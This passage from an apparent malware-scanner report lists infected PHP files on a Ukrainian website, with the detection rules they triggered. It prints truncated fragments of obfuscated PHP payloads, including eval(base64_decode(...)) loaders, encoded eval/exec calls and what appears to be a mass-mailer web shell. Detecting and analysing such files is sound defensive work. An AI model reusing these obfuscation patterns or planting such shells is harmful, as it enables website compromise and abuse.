code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_134").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/txets.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.13 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-03-04 11:32:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-03-04 11:32:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_135" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$eNBGx4OxLF</span><span style="color: #007700">[</span><span style="color: #0000BB">50</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silenced_eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@eval(</span><span style="color: #0000BB">$zyHNvy4MxX</span><span style="color: #007700">[</span><span style="color: #0000BB">3 </span><span style="color: #007700">+ </span><span style="color: #0000BB">1</span><span style="color: #007700">](</span><span style="color: #0000BB">$oLuD0kflSf</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_135").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ppkbw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:53:27</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:53:27</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_136" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_136").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/yhmfq.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:17:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:17:23</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_137" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_137").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wlihh.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:14:25</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:14:25</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_138" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
